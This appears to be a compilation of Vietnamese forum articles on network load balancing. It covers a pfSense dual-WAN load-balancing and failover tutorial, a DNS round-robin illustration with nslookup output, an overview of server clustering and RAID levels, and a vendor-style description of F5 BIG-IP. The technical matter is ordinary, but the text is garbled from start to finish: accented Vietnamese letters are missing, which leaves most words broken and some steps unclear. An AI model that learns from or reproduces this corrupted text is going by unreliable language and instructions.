Vi pfSense, ngi dng c th d dng cu hnh chia s mng v failover (ng mng u tin b hng, ng th nh s th vo ngay v ngc li). Bi vit di s hng dn tng bc cu hnh, gi s ng ni mng s dng DSL vi 1 IP ng v 1 IP tnh (bn c th p dng vi 2 IP ng (dynamic) hoc 2 IP tnh (static) hoc c 2 IP ng vn khng sao). Bi vit s ch tp trung vo vic cu hnh cho ng truyn i ra t mng ni b. iu quan trng l bn s cn khai bo Primary DNS vi gi tr DNS ca ng truyn th nht (trong bi vit ny s c hiu l WAN) v Secondary DNS vi gi tr DNS ca ng truyn th nh (trong bi vit ny s c hiu l WAN2). H thng s dng s cn c t nht 3 card mng. Nu bn c nh s dng mng khng giy th s c 4 card mng. Ti vn phin bn 1.2-RC2 (y l phin bn va pht hnh ngy 13 thng 10). Phin bn cn ti v s l pfSense-1.2-RC2-LiveCD-Installer.iso.gz y l bn c th chy kiu LiveCD hoc ci xung a cng. Sau khi boot ln, chn Ci xung a cng. Bn c th chp nhn cc gi tr chun trong lc ci t. Lu : pfSense s xa ton b a cng pfSense s thng bo thit b mng tm c trn my v s hi bn mun s dng thit b no cho LAN v cho WAN. Khai bo cc gi tr cn thit. Bn cng c th khai bo thit b OPT1 (c xem l WAN2 trong bi ny). Sau phn gn thit b mng, h thng s khi ng li v a ch chun cho mng LAN s l 192.168.1.1. Cable t DSL modem 1 cm vo my pfSense; Cable t DLS modem 2 cm vo my pfSense; Cable t card s dng cho LAN trn my pfSense s cm vo switch/hub cc my trm ni vo switch/hub ny. Sang mt my th nh, m browser ti a ch http://192.168.1.1, ng nhp vi ngi dng admin, mt khu pfsense. Chn System --> Setup wizard Bn c th gi gi tr chun hoc thay i ty cho hostname v domain in vo IP cho Primary DNS ca WAN (y l gi tr DNS ca ISP1) V d ng truyn th nht ca bn s dng V1ettel, in vo DNS ca V1ettel. in vo IP cho Secondary DNS ca WAN2 (y l gi tr DNS ca ISP2) Vi d ng truyn th nh ca bn s dng N3tnam, in vo DNS ca N3tnam
ng chn (uncheck) Allow DNS server list to be overridden by DHCP/PPP on WAN Bn c th tip tc vic cu hnh bng cch chn mi gi Cu hnh WAN Nu bn s dng a ch tnh, chn Static. Nu khng th chn kiu tng ng (PPPoE, v..v..). Nu dng PPPoE, in vo ti khon. Cu hnh LAN Bn c th gi gi tr chun, 192.168.1.1, hoc thay i ty . Thay i mt khu cho admin v khi ng li h thng Sau khi khi ng, tip tc vic cu hnh bng cch Chn Services --> DNS Forwarder Chn Chn Chn Chn DNS Forwarder Register DHCP leases in DNS forwarder Register DHCP static mappings in DNS forwarder Save
Cu hnh thit b mng OPT1 (WAN2) in vo gi tr cn thit ty vo mi trng ca bn (static hay PPoE hay..v..v.). Nu bn khng thy thit b OPT1, chn Assign bn di Interfaces. Ri bt OPT1 v in vo Description l WAN2 Sau khi hon thnh vic cu hnh card mng v bt dch v DNS Forwarder, vic kt tip s l cu hnh Load Balancing v fail-over. Cu hnh Load Balancing Bn s cn to 3 ng dn (pool). ng th nht s c dng chia s mng gia WAN v WAN1 (dng load balance). ng th nh s dng WAN lc WAN2 khng ni mng. ng th ba s dng WAN2 khi WAN khng ni mng. Cu hnh ng dn 1 - Load Balancing Chn Services --> Load Balancer in vo
Name: LoadBalancing Description: ng dn chia mng cho c hai Type: Gateway Behavior:Load Balancing Monitor IP: chn a ch DNS ca ISP 1 (trong v d ny DNS ca V1etel) Interface Name: WAN Chn Add To Pool Thm vo Monitor IP th nh Monitor IP: chn a ch DNS ca ISP 2 (trong v d ny DNS ca N3tnam) Interface Name: WAN2 Chn Save Cu hnh ng dn 2 - Fail-over in vo Name: WANFailedUseWAN2 Description: WAN hng, s dng WAN2 Type: Gateway Behavior: Failover Monitor IP: chn a ch DNS ca ISP 2 (trong v d ny DNS ca N3tnam) Interface Name: WAN2 Chn Add To Pool Thm vo Monitor IP th nh Monitor IP: chn a ch DNS ca ISP 1 (trong v d ny DNS ca V1etel) Interface Name: WAN Chn Save Cu hnh ng dn 3 - Fail-over in vo Name: WAN2FailedUseWAN Description: WAN2 hng, s dng WAN Type: Gateway Behavior: Failover Monitor IP: chn a ch DNS ca ISP 1 (trong v d ny DNS ca N3tnam) Interface Name: WAN Chn Add To Pool Thm vo Monitor IP th nh Monitor IP: chn a ch DNS ca ISP 2 (trong v d ny DNS ca V1etel) Interface Name: WAN2 Chn Save 3 bc trn hon thnh vic cu hnh cho load balancing v fail-over. Bc
cui cng bn s cn cu hnh tng la c th kt ni gia LAN ti WAN v WAN2. Cu hnh tng la Chn Firewall --> Rules --> LAN Bn s cn to 3 rules cho LoadBalance, ng dn 1 v ng dn 2. Rule cho LoadBalance Action: Pass Interface: LAN Protocol: any Source: LAN subnet Destination: any Gateway: LoadBalance Rule cho ng dn 1 Action: Pass Interface: LAN Protocol: any Source: LAN subnet Destination: WAN subnet Gateway: a_ch_IP_ca_WAN_gateway Rule cho ng dn 2 Action: Pass Interface: LAN Protocol: any Source: LAN subnet Destination: WAN2 subnet Gateway: a_ch_IP_ca_WAN2_gateway Vi iu cn : nu bn khng th chn a ch IP ca gateway, chn WAN2FailedUseWAN hoc WANFailedUseWAN2 ty vo lc bn cu hnh firewall rules cho ng dn 1 hay 2. Khi chn Destination, nu bn khng th chn WAN subnet hay WAN2 subnet, chn any. Bi vit c tnh lm m a ch gateway ca WAN2. i mng cho my trm (workstation, client) s dng DHCP. M browser n trang http://vnlinux.org. Rt dy cable t router ca ISP 1 ra, m browser n trang http://vnlinux.org, bn vn c th xem c. Lm tng t cho router th nh (d nhin ng rt cable ca c 2 routers ra th s khng ln mng
c :) ). larry at vnlinux dot org Reference: http://doc.pfsense.org/index.php/MultiWanVersion1.2 http://tapchi.vnlinux.org/index.php?q=node/73 ++++++++++++++ Mt V D V Gii php LBC: Cn bng tai cua mt web-site (LOAD BALANCING A WEB SITE) Nhiu website tr nn qua tai rt nhanh chong bi vi co qua nhiu ngi s dung chung. Ta co th lp t thm nhng web server cung vi tri gi nhng ban sao thng tin. Sau o nhng yu cu web c gi n mt trong s nhng web server co kha nng nht (v ap ng yu cu). Cac web-site cung co th c sao chep lai nhng ia im vt ly khac nhau co th ap ng yu cu cua ngi s dung nhanh hn. Trong trng hp sau, Cisco Systems a phat trin mt phn mm cn bng tai cho cac l trinh goi la Distributed Director. Phn mm ny co th chay giao thc l trinh co kha nng gi nhng yu cu cua ngi s dung n mt server gn nht. C ban, mt tn may chu n DNS (Domain Name System) c quy inh bi nhiu ia chi IP. Khi ngi s dung goi mt server bng tn thi router se xac inh ia chi IP nao co th ap ng tt nht yu cu ny va chuyn yu cu n server o. Gii thch n gin nh sau: Khi ta nh www.nhac.vui.vn vo trnh duyt. u tin n s kim tra trong my xem c lu thng tin v www.nhac.vui.vn khng, nu c n s m kt ni TCP ti HTTP server trn my tnh c IP . Nu khng, th trnh duyt s chuyn ci tn www.nhac.vui.vn cho phn mm client ca DNS. DNS client s gi truy vn ti DNS server. H thng server ca www.nhac.vui.vn bao gm nhiu server c ni dung ging nhau, mi server l mt h thng u cui khc nhau v c IP khc nhau. Mi my ny gn vi cc tn khc nhau, VD www4.nhac.vui.vn hay www5.nhac.vui.vn. Nhm IP ny gn lin vi tn y ca 1 my trong h thng server , y l www.nhac.vui.vn Khi client gi truy vn xc nh a ch IP ti server th server s gi ton b nhm IP ny , nhng cc IP trong nhm ny c hon v nhau. Khi client nhn c nhm IP ny, n s gi thng ip HTTP cho IP u tin trong nhm . V vy ta s thy trn trnh duyt l www4.nhac.vui.vn , thnh thong th www5.nhac.vui.vn
chng minh iu ny, mnh vo www.nhac.vui.vn v n tr v l www4.nhac.vui.vn, ngay sau th fake IP v vo li th nhn c l www5.nhac.vui.vn. V th NSLOOKUP th c kt qu th ny www4.nhac.vui.vn Server: dns3.vietel.com.vn Address: 203.113.188.1 Non-authoritative answer: Name: www4.nhac.vui.vn Address: 210.245.126.36 www5.nhac.vui.vn Server: dns3.vietel.com.vn Address: 203.113.188.1 Non-authoritative answer: Name: www5.nhac.vui.vn Address: 210.245.121.29 Nh vy l 2 my khc nhau trn h thng server ca www.nhac.vui.vn. V trong nhm IP th cc IP c hon v khi server gi n cho client. +++++ y l 1 bi na v LBC: Cng ngh Clustering cho cc h thng my tnh Vn t ra l cn c mt gii php m bo cho h thng vn hot ng tt ngay c khi c s c xy ra i vi my ch mng, v cng ngh clustering (b) l cu tr li cho vn ny. Bi bo ny gii thiu nguyn l v phn tch mt s gii php clustering ang c p dng cho cc h thng mng my tnh ln vi hi vng c th gip c gi hiu r hn v cng ngh tng nh n gin nhng thc t kh phc tp ny. Ths. Nguyn Trng ng Trong thi i bng n ca cng ngh thng tin hin nay, mng my tnh ng vai tr ngy cng quan trng hn trong hot ng ca cc doanh nghip, t chc cng nh cc c quan nh nc. Thm ch mt s n v, chng hn nh cc cng ty hng khng hoc cc ngn hng ln, mng my tnh c th v nh h thn kinh iu khin hot ng ca ton doanh nghip.
S ngng hot ng ca mng my tnh trong nhng c quan ny c th lm t lit cc hot ng chnh ca n v, v thit hi kh c th lng trc c. Chng ta u bit cc my ch l tri tim ca ca mng my tnh, nu my ch mng hng, hot ng ca h thng s b ngng tr. iu ng tic l d cc hng sn xut c gng lm mi cch nng cao cht lng ca thit b, nhng nhng hng hc i vi cc thit b mng ni chung v cc my ch ni ring l iu khng th trnh khi. Do vy, vn t ra l cn c mt gii php m bo cho h thng vn hot ng tt ngay c khi c s c xy ra i vi my ch mng, v cng ngh clustering (b) l cu tr li cho vn ny. Bi bo ny gii thiu nguyn l v phn tch mt s gii php clustering ang c p dng cho cc h thng mng my tnh ln vi hi vng c th gip c gi hiu r hn v cng ngh tng nh n gin nhng thc t kh phc tp ny. Tng quan v cng ngh Clustering Clustering l mt kin trc nhm m bo nng cao kh nng sn sng cho cc h thng mng my tnh. Clustering cho php s dng nhiu my ch kt hp vi nhau to thnh mt cm (cluster) c kh nng chu ng hay chp nhn sai st (fault-tolerant) nhm nng cao sn sng ca h thng mng. Cluster l mt h thng bao gm nhiu my ch c kt ni vi nhau theo dng song song hay phn tn v c s dng nh mt ti nguyn thng nht. Nu mt my ch ngng hot ng do b s c hoc nng cp, bo tr, th ton b cng vic m my ch ny m nhn s c t ng chuyn sang cho mt my ch khc (trong cng mt cluster) m khng lm cho hot ng ca h thng b ngt hay gin on. Qu trnh ny gi l fail-over; v vic phc hi ti nguyn ca mt my ch trong h thng (cluster) c gi l fail-back. Vic thit k v lp t cc cluster cn tho mn cc yu cu sau: Yu cu v tnh sn sng cao (availability). Cc ti nguyn mng phi lun sn sng trong kh nng cao nht cung cp v phc v cc ngi dng cui v gim thiu s ngng hot ng h thng ngoi mun. Yu cu v tin cy cao (reliability). tin cy cao ca cluster c hiu l kh nng gim thiu tn s xy ra cc s c, v nng cao kh nng chu ng sai st ca h thng. Yu cu v kh nng m rng c (scalability). H thng phi c kh nng d dng cho vic nng cp, m rng trong tng lai. Vic nng cp m rng bao hm c vic thm cc thit b, my tnh vo h thng nng cao cht lng dch v, cng nh vic thm s lng ngi dng, thm ng dng, dch v v thm cc ti nguyn mng khc.
Ba yu cu trn c gi tt l RAS (Reliability-Availability-Scalability), nhng h thng p ng c ba yu cu trn c gi l h thng RAS (cn phn bit vi Remote Access Service l dch v truy cp t xa). Cng cn ch rng hiu qu hot ng ca h thng Clustering ph thuc vo s tng thch gia cc ng dng v dch v, gia phn cng v phn mm. Ngoi ra, k thut clustering khng th chng li cc s c xy ra do virus, sai st ca phn mm hay cc sai st do ngi s dng. chng li cc s c ny cn xy dng mt c s d liu c bo v chc chn cng nh c cc k hoch khi phc, backup d liu. Cu trc ca Cluster Cluster c t chc thnh cc nhm gi l cc farm hay pack. Trong hu ht cc trng hp, cc dch v tng trc v gia (front-end and middle-tiers services) c t chc thnh cc farm s dng cc clone, trong khi cc dch v tng sau (back-end services) c t chc thnh cc pack. Cc khi nim farm, pack v clone trong h thng cluster s c lm r ngay di y. Cluster Farm l mt nhm cc my ch chy cc dch v ging nhau, nhng khng dng chung c s d liu. c gi l farm (trang tri) bi v chng x l bt c yu cu no gi n cho chng bng cc bn sao c s d liu (ti nguyn) ging ht nhau c lu gi cc b, ch khng dng chung mt bn c s d liu. Cng bi tnh cht ny nn cc my ch thnh vin ca farm lm vic c lp v chng c gi l clone (clone l my tnh c thit k m phng chc nng ca my tnh khc). Cluster Pack l mt nhm cc my ch hot ng cng vi nhau v chia s vi nhau cc phn ca c s d liu. c gi l pack (khi) v s hot ng ca cc my ch thnh vin ca pack c lin h cht ch vi nhau v chng lm vic theo mt phng thc thng nht qun l v duy tr cc dch v. Ch hot ng ca Cluster Mi my ch trong cluster c gi l mt nt (cluster node), v c th c thit lp ch ch ng (active) hay th ng (passive). Khi mt nt ch d ch ng, n s ch ng x l cc yu cu. Khi mt nt l th ng, n s nm ch d phng nng (stanby) ch sn sng thay th cho mt nt khc nu b hng. Nguyn l hot ng ca Cluster c th biu din nh trong hnh 1. Hnh 1. Nguyn l hot ng ca mt Cluster Trong mt cluster c nhiu nt c th kt hp c nt ch ng v nt th
ng. Trong nhng m hnh loi ny vic quyt nh mt nt c cu hnh l ch ng hay th ng rt quan trng. hiu l do ti sao, hy xem xt cc tnh hung sau: - Nu mt nt ch ng b s c v c mt nt th ng ang sn sng, cc ng dng v dch v ang chy trn nt hng c th lp tc c chuyn sang nt th ng. V my ch ng vai tr nt th ng hin ti cha chy ng dng hay dch v g c nn n c th gnh ton b cng vic ca my ch hng m khng nh hng g n cc ng dng v dch v cung cp cho ngi dng cui (Ngm nh rng cc cc my ch trong cluster c cu trc phn cng ging nhau). - Nu tt c cc my ch trong cluster l ch ng v c mt nt b s c, cc ng dng v dch v ang chy trn my ch hng s phi chuyn sang mt my ch khc cng ng vai tr nt ch ng. V l nt ch ng nn bnh thng my ch ny cng phi m nhn mt s ng dng hay dch v g , khi c s c xy ra th n s phi gnh thm cng vic ca my ch hng. Do vy m bo h thng hot ng bnh thng k c khi c s c th my ch trong cluster cn phi c cu hnh d ra c th gnh thm khi lng cng vic ca my ch khc khi cn. Trong cu trc cluster m mi nt ch ng c d phng bi mt nt th ng, cc my ch cn c cu hnh sao cho vi khi lng cng vic trung bnh chng s dng ht khong 50% CPU v dung lng b nh. Trong cu trc cluster m s nt ch ng nhiu hn s nt b ng, cc my ch cn c cu hnh ti nguyn CPU v b nh mnh hn na c th x l c khi lng cng vic cn thit khi mt nt no b hng. Cc nt trong mt cluster thng l mt b phn ca cng mt vng (domain) v c th c cu hnh l my iu khin vng (domain controllers) hay my ch thnh vin. L tng nht l mi cluster nhiu nt c t nht hai nt lm my iu khin vng v m nhim vic failover i vi nhng dch v vng thit yu. Nu khng nh vy th kh nng sn sng ca cc ti nguyn trn cluster s b ph thuc vo kh nng sn sng ca cc my iu khin trong domain. Cluster nhiu a im phn tn Vi cc h thng mng ln c cc ngi dng phn b ri rc, hiu qu ca vic phng chng s c v nng cao tnh sn sng ca mng s c ci thin hn nhiu nu xy dng h thng cluster b tr ti nhiu a im. Kin trc nhiu a im c th c thit k theo rt nhiu cch khc nhau, trong ph bin nht l c mt im gc v mt s im xa. Vi kiu thit k y , ton b cu trc ca im gc c xy dng li y
cc im xa. iu ny cho php cc im xa hot ng c lp v c th x l ton b khi lng cng vic ca im gc nu cn. Trong trng hp ny, vic thit k phi m bo sao cho c s d liu v cc ng dng gia im gc v cc im xa phi ng b v c cp nht sao lp ch thi gian thc. Vi kiu thit k thc hin tng phn th ch c cc thnh phn c bn l c ci t cc im xa nhm: X l cc khi lng cng vic qu ti trong cc gi cao im; Duy tr hot ng mc c bn trong trng hp im gc site b s c; Cung cp mt s dch v hn ch nu cn. C kiu thit k y hay tng phn u dng phng cch phn tn cc my ch ri rc v mt a l. Cluster phn tn v a l s dng mng LAN o (Virtual LAN) kt ni cc mng khu vc lu tr SAN (storage area network) qua nhng khong cch ln. c th duy tr hot ng cluster mt cch hiu qu, yu cu i vi kt ni trong mng LAN o phi c tr khong di 500 ms. Ti u ho cc thit b lu tr trn cluster Cc thit b lu tr trn cluster cn c ti u ho trn c s nhng nhu cu v hiu nng v mc sn sng. Trong bng 1 di y cung cp mt cch khi qut nhng cu hnh h thng a d phng RAID ph bin c th la chn cho Cluster. Cc u mc trong bng c sp xp t mc RAID cao nht n thp nht. Bng 1. Cc cu trc RAID cho Cluster Mc RAID Kiu RAID M t RAID u/Nhc im 5+1 Phn vnh (Disk striping) c kim tra chn l (parity checking) + phn chiu (mirroring) Cn 6 khi (volume) tr ln, mi volume trn mt a ring v c cu hnh ging ht nhau to thnh mt t hp vnh c sao gng c kim tra li chn l (parity error checking). C mc chu ng li rt cao nhng cng d tha nhiu. Hiu sut s dng a thp. 5 Phn vnh c chn l Cn 3 volume tr ln, mi volume trn mt a ring v c cu hnh nh nhau thnh mt t hp vnh c kim tra li chn l. Trong trng hp b li th d liu vn c th phc hi li c. C kh nng chu ng li nhng t d tha hn so vi kiu sao gng. Hiu sut c cao hn so vi kiu sao gng. 1 Phn chiu Hai volume trn hai a c cu hnh ging ht nhau. D liu c ghi vo c hai a. Nu mt b li, d liu khng b mt v a kia cng lu d liu. C d phng nng. Hiu sut ghi tt hn so vi a phn vnh c chn l. 0+1 Phn vnh + phn chiu Hai volume tr ln, mi volume trn mt a ring, c phn thnh vnh ai v c phn chiu. D liu c ghi tun t ln cc a c cu hnh ging ht nhau. C d phng nng vi hiu sut c/ghi tt.
0 Phn vnh Hai hay nhiu volume trn tng a ring c cu hnh thnh mt vnh (stripe set). D liu c chia thnh cc khi c ghi tun t ln tt c cc a trong stripe set. Tc v hiu nng nhng khng c bo v d liu. Tnh m ca Cluster Mt vn m cc nh u t xy dng h thng cn quan tm l kh nng m rng ca h thng Clustering. Tu theo yu cu c th cc cluster c th cn phi thm cc my ch vo Cluster, hoc thm CPU v RAM cho cc my ch tng kh nng m nhn cng vic cho cc my ch c. Mun m rng Cluster bng cch thm cc server, th c hai yu t l K thut clustering ln H iu hnh m server s dng u quan trng. V d nh trnh by trong bng 2 sau y, s khc nhau c bn v kh nng m rng ca Advanced Server v Datacenter Server l s nt c th dng vi Cluster. Vi Windows 2000, s nt my ch ca Cluster ti a l 4, trong khi vi Windows .NET, s nt my ch ca Cluster ti a l 8. Bng 2. S nt ti a tng ng vi cc h iu hnh v k thut Clustering H iu hnh K thut Clustering Tn gi Phin bn Cn bng ti mng Cn bng ti thnh phn Dch v Cluster Windows 2000 Advanced Server 32 8 2 Datacenter Server 32 8 4 Windows .NET Advanced Server 32 8 4 Datacenter Server 32 8 8 Mun m rng Cluster bng cch thm vo cc CPUs v RAM th vic ang dng h iu hnh no l vn rt quan trng. V d nh H iu hnh Window 2000 Advanced Server h tr ti a 8 b vi x l v 8 GB RAM, trong khi Window 2000 Datacenter Server h tr ti a 32 b vi x l v 64 GB RAM. Nh vy, c th phi nng cp h iu hnh t Advanced Server ln Datacenter Server nu yu cu thm CPU v RAM vt qu kh nng ca h iu hnh ang dng. Linux Cluster Mc d cng ngh clustering hin nay vn ph bin dng h i hnh ngun ng, nhng cc thng k v th phn v mc tng trng ca th trng my ch cho thy r rng l s chuyn dch sang cc h iu hnh ngun m nh Linux ang ngy cng tr nn hin thc (IBM u t khong 1 t USD pht trin h thng IBM Linux cluster. Bi vy khi tho lun v cng ngh clustering, vic tm hiu v Linux clustering l mt vn rt cn thit).
Linux cluster c ch pht trin nh c cc c im nh: Gi thnh r do pht trin t h iu hnh UNIX c m ngun m; Tc tnh ton nhanh; tin cy cao. Linux cluster trn c s b x l Intel tr nn thng dng trong cc vin ngin cu. l mt phng n khng qu tn km i vi nhng vn ca cng ngh thng tin nh lp trnh song song, pht trin cng c song song v qun l cc h thng phn tn. ng thi, Intel Linux cluster cng ang xut hin trong cc d n nghin cu trong cng nghip, mi u di dng hp mu hoc th nghim h thng ang thit k. V nguyn l hot ng ni chung h thng Linux cluster cng ging nh cc h thng cluster dng phn mm ngun ng, tuy nhin h iu hnh c s cho Linux cluster l h iu hnh Linux, c ci t trn tng nt ca cluster. Chng trnh qun l c dng trong cc Linux cluster tu theo yu cu ca khch hng c th h tr cc chc nng bao gm vic cung cp giao din dng lnh hoc ca s; Cc chc nng qun tr t xa nh thit t li h thng; gim st cc tham s quan trng; kim sot ngun; xem tp nht k h thng; thao tc n tc ng song song n nhiu nt v.v. S nguyn l ca mt Linux cluster c ln c th biu din nh trong hnh 2. Hnh 2: S nguyn l ca mt Linux cluster ln Nh ni trn, Linux cluster c tin cy v tnh n nh kh cao, tuy nhin vic thit k mt Linux cluster hay mt siu cluster khng phi l n gin, n i hi phi xc nh c cc lp rt tru tng v phc tp tng theo kch thc ca cluster. Cc n v gii php Linux cluster phi do nhng ngi c hiu bit cn thit v cc vn ny xy dng nn. Vic xc nh cc nt cn thit phi theo cc nguyn tc sau: C 32 n 64 nt tnh ton cn c mt nt u mi. Mi h thng cn c mt nt qun l Vic vo/ra bn ngoi cn c mt hay nhiu nt lu tr. C ba mng chc nng cn phi c: Mng dnh cho vic lin lc gia cc tin trnh IPC (inter process communication) vi tc ph thuc vo bi ton c t ra. Mng dng cho vo/ra tp (file I/O). Mng IPC cng c th kim lun nhim v ny Mng phc v cho vic qun l h thng, thng l mng c thit lp bi cc chuyn mch 10/100 Ethernet. Cng cn phi c c my ch phc v u cui trong mng ny.
Kt lun Clustering l mt k thut c p dng nhm nng cao tin cy v tnh sn sng ca h thng mng my tnh. Mt mng c cu trc di dng clustering s c kh nng hot ng bnh thng ngay c khi c s c xy ra cho mt my ch mng trong cluster. Tu theo yu cu c th ca h thng m c th cu trc cluster 2 nt, 4 nt, 8 nt hoc nhiu hn. Cc nt trong cluster c th ton th ch ng, hoc c nt ch ng, c nt th ng. Mi cu trc ca cluster s i hi mt cu hnh phn cng ca cc my ch tng ng. H iu hnh cng l mt yu t quan trng cn xem xt khi thit k clustering cho mng. La chn cc phn mm ngun ng nh Window 2000 m bo h thng d thit lp, tuy nhin tnh bo mt thng khng cao. Cc h iu hnh ngun ng nh Linux tuy kh thit nh nhng li c tnh bo mt v an ton cao hn. Bi vy, khi nh thit t mt cu trc clustering cho h thng mng ca mnh, nh u t cn xem xt k cc yu t nu trn c th quyt nh la chn gii php ti u cho mnh./. Bn c th xem chi tit hnh nh: http://www.linhkiengiasi.com/Default...Ncid=2&nid=468 +++++++++++++++++ Giai phap chia tai cho ung dung cua Doanh Nghiep Mt Gii php ton din cho vn ny dng thit b chuyn dng v qun l lu lng:
i vi cc DN va v ln, mi ngy c hng ngn lt ngi truy cp vo trang web, hng triu giao dch c thc trn cc h thng ng dng ... Bi vit gii thiu v gii php chia ti gip h thng ng dng ca cc DN lun p ng kp thi v bo mt, cc yu cu ca khch hng cng nh cc cng ngh v thit b cho gii php ny. Ti sao phi chia ti Mi ngy c hng ngn ngi truy cp vo trang web ca DN, t chc, hng triu thu bao s dng in thoi v cc dch v gia tng ca nh cung cp, hng nghn t ng giao dch gia cc ngn hng. iu g s xy ra nu cc dch v hot ng km ci, ch hay trong mt gi tt c nhng hot ng b ngng li? DN s mt i c trm khch hng, i tc tim nng, nh cung cp b phn nn, cc hot ng giao dch, kinh doanh ca khch hng b nh hng, hng nghn nh u t b mt chi ph, c hi. khng ch l thit hi v kinh t m cn v uy tn, hnh nh, sc cnh tranh.
Nguyn nhn gy ra tnh trng trn c th do h tng mng, phn cng, phn mm hiu nng thp, cng c th do h thng b tn cng, h thng khng c s dng ti u, khng c c ch tng tc. i vi li gy nh tr h thng, phn ln do h thng ni b trong cc DN, t chc c li, chng hn nh ng mng b t, thit b b hng, mt in cc b, ng dng b li, my ch b li hay b tn cng v c th xy ra bt c h thng no, bt c lc no. trnh tnh trng trn, cc DN u v ang u t h thng h tng mt cch bi bn nhm t hiu nng cao. l vic trang b cc my ch ng dng mnh, c d phng. Tuy nhin, nu ti mi thi im mi chc nng ch c mt server hot ng hoc khng c gii php chuyn dng chia ti cho cc server th khng th p ng c nhu cu ca h thng ng dng s, i hi hot ng lin tc nh cc trang web thng mi in t, cc ng dng nhiu ngi dng, cc hot ng tin t, ti chnh, cc ca ng giao tip vi khch hng ca ngn hng, chng khon, nh cung cp dch v. Do , cn phi c nhiu server cng ng thi cung cp mt dch v cho h thng, cung cp hiu nng v tnh sn sng cao hn, tnh tin cy cao hn. Lm sao cc server c th phi hp vi nhau hiu qu, m bo tnh sn sng, lin tc, an ton. l l do ra i ca cc gii php chia ti. Cc gii php chia ti trn th gii Vic chia ti c th thc hin bng nhiu phng cch, hnh thc khc nhau, vi cc cng ngh khc nhau hay kt hp chng li: * Chia ti bng phn mm ci trn cc my ch: Kt hp nhiu server mt cch cht ch to thnh mt server o (virtual server). Cc h iu hnh cho my ch th h mi ca cc hng Microsoft, IBM, HP... hu ht u cung cp kh nng ny, mt s hng phn mm khc nh Veritas(Symantec) cng cung cp gii php theo hng ny. Cc gii php thuc nhm ny c u im l quen thuc vi nhng nh qun tr chuyn nghip, c th chia s c nhiu ti nguyn trong h thng, theo di c trng thi ca cc my ch trong nhm chia ti hp l. Tuy nhin, do s dng phn mm trn server, tnh phc tp cao nn kh nng m rng ca gii php ny b hn ch, phc tp khi trin khai cng nh khc phc khi xy ra s c, c ro cn v tnh tng thch, kh c c nhng tnh nng tng tc v bo mt cho ng dng. * Chia ti nh proxy: Nhm ny thng tn dng kh nng chia ti sn c trn phn mm proxy nh ISA Proxy ca Microsoft hay Squid phn mm m ngun m ci trn my ph dng. Proxy ny s thc hin nhim v chia ti trn cc server sao cho hp l. Gii php ny v hot ng mc ng dng nn c kh nng caching (l cng ngh lu tr cc b d liu c truy cp vi tn sut cao) v kh nng firewall tng ng dng. V s dng my ph dng nn gii php ny c u im l chi ph thp, kh nng m rng tt v ci t trn mt my c lp, d qun tr. Tuy nhin, cng v ch hot ng mc ng dng nn hiu nng khng cao, v s dng my ph dng nn khng c ti u, d tn ti nhiu li h thng, v ci t trn mt my c lp nn vic theo di trng thi ca cc my ch gp kh khn. Nhc im
ln nht ca cc gii php dng ny thng c tnh n nh km, hiu nng thp, d mc li. y l iu khng th chp nhn c i vi cc h thng i hi tnh sn sng cao nh ngn hng, ti chnh. * Chia ti nh thit b chia kt ni: Nhm ny thng s dng cc moun cm thm trn cc thit b chuyn dng nh B nh tuyn (Router) hay hay b chuyn mch (Switch) chia ti theo lung, thng hot ng t layer 4 tr xung. V s dng thit b chuyn dng nn c hiu nng cao, tnh n nh cao, kh nng m rng tt hn nhng kh pht trin c tnh nng bo mt phc tp nh gii php proxy, thng thut ton chia ti rt n gin nh DNS round-robin (y l thut ton chia ti ph bin nht v n gin, tuy nhin cng nhc v hiu qu thp. Vi thut ton ny cc yu cu v IP ca mt tn min ng vi nhiu server s c bin dch thnh a ch IP ca cc server theo th t quay vng. Nhm ny c kh nng chia ti ng km, khng theo di c trng thi ca my ch, x l kt ni mc ng dng rt km, d gy li ng dng v gi thnh cao. Cch thc ny cng hon ton khng ph hp i vi cc h thng yu cu tnh chun xc ca cc hot ng giao dch nh ti chnh, ngn hng. Nh vy, gii php c kh nng theo di trng thi ng dng tt th m rng, tng tc, bo mt km(GP dng phn mm). Gii php m rng, tng tc, bo mt tt, th theo di trng thi ng dng km, khng n nh, hiu nng thp(GP s dng proxy), gii php hiu nng cao, n nh, m rng tt th km thng minh, d gy li ng dng, tng tc km(GP chia ti nh thit b chia kt ni). Trong khi , tt c cc yu cu v hiu nng cao, n nh, m rng tt, tng tc tt v bo mt l rt quan trng i vi cc hot ng ca ngn hng, chng khon v cc nh cung cp dch v. GP sn c ca cc hng ch p ng c mt phn trong cc yu cu trn nh Module CSS ca Cisco, ISA ca Microsoft, hay Netscaler ca Citrix) * S dng thit b qun tr lu lng: l thit b c kin trc ca mt proxy hon chnh, thit b ny c kh nng kim sot, iu khin v ti u ha lu lng mng chy qua n. Mt trong nhng thit b qun tr lu lng hng u c bit n l BIG IP LTM ca hng F5 Networks. y l mt thit b chia ti chuyn dng khai thc tinh t, thng minh ca phn mm thng qua HH ring TMOS do F5 t nghin cu v pht trin. Thit b ny s dng cc thut ton mm do theo di t ng trng thi my ch, trng thi kt ni v kh nng p ng ca ng dng tng t gii php s dng phn mm chy trn my ch nhng nh c HH ring chuyn dng c cng ha(hardened) nn bo mt hn v c kh nng x l song song, phn lung gi tin mt cch thng minh, nhanh chng. Nh , BIG IP LTM c coi l mt bc tin vt bc khng ch trong cng ngh cn bng ti m cn v cng ngh bo mt bi n c th tch hp cc tnh nng ca Firewall, c kh nng phng chng hiu qu cc hnh thc tn cng DoS, c h tr cc chun bo mt tin tin nht nht l FIPS 140-2
Level 2 v HIPAA. BIG-IP LTM c nh gi cao tnh nng bo mt nh kh nng nhn dng tn cng n tn tng ng dng thng qua vic o ha, v che du cc li ng dng, li phn cng, real URL, nhng g c th lm cn c cho hacker tm ra im yu ca h thng tn cng. c bit F5 tng cng bo mt cho kt ni SSL vi kh nng m ha, gii m (c kha v d liu) bng phn cng. Hn na HH TMOS c kt hp gia kin trc phn cng x l hiu nng cao vi kin trc phn mm module ha ti tng giao thc, cng vi kh nng qun tr h thng mc thi gian thc xa b ro cn cng ngh ca c hai nhm appliance v software. F5 BIG-IP LTM c thut ton cn bng ti phong ph v thng minh da trn c ch tnh v ng, bao gm Round-Robin, Dynamic Ratio, Least Connections, Fastest, Predictive v Observed khc phc hon ton nhc im ca phng php cn bng ti cng nhc da trn thut ton DNS round-robin c bit vi ngn ng lp trnh iRule, sn phm BIG-IP c th c ty bin li vic cn bng ti, ng vai tr Ipv6 gateway cho mng Ipv4 nn p ng c s chuyn i mng t Ipv4 sang Ipv6 trong tng lai. BIG-IP LTM cung cp giao din lp trnh iControl cho php ngi dng c nhng tc ng hn ch ln nn tng ca BIG-IP. Chc nng caching thng 